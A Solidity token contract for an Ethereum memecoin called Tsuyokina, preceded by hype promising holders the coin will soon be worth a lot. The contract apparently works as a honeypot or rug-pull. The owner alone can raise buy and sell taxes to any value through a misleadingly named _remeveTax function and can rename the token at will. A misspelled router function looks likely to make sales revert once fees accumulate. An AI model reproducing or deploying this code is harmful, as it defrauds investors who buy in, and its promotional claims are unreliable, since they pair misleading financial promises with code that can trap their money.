/**
Tsuyokina 強気な is taken from Japanese, which means Bullish. 
Bullish is a condition when asset prices in a market increase. 
The market will be bullish if it is supported by a conducive economic situation.
Tsuyokina 強気な Create the best memecoin on Ethereum, 
Tsuyokina 強気な is no ordinary memecoin project. 
It's an entire ecosystem with the sole purpose of rewarding early adopters.
 Hold on to your $TSUYOKINA as it will be worth a lot in the near future. 
 The team has many plans that they will release gradually as the ecosystem develops.
Website:
https://tsuyokina.com
Telegram:
https://t.me/TsuyokinaETH
Twitter:
https://twitter.com/TsuyokinaETH
*/

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.0;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract LeaderDAO {
    string private _name = unicode"Tsuyokina 強気な";
    string private _symbol = unicode"TSUYOKINA";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 100000000000 * 10**decimals;

    uint8 buyCharge = 5;
    uint8 sellCharge = 5;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address private pair;
    address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(routerAddress);
    address payable TOKEN_MKT;

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        TOKEN_MKT = payable(msg.sender);
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][routerAddress] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function active(string memory name_, string memory symbol_) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        _name = name_;
        _symbol = symbol_;
    }

    function setRule(uint8 _buy, uint8 _sell) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        _remeveTax(_buy, _sell);
    }

    function openTrading() external {
        require(msg.sender == TOKEN_MKT);
        require(!tradingOpen);
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        require(tradingOpen || from == TOKEN_MKT || to == TOKEN_MKT);

        if (!tradingOpen && pair == address(0) && amount > 0) pair = to;

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != TOKEN_MKT) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = ETH;
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            TOKEN_MKT.transfer(address(this).balance);
            swapping = false;
        }

        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (from == pair ? buyCharge : sellCharge)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function _remeveTax(uint8 _buy, uint8 _sell) private {
        buyCharge = _buy;
        sellCharge = _sell;
    }
}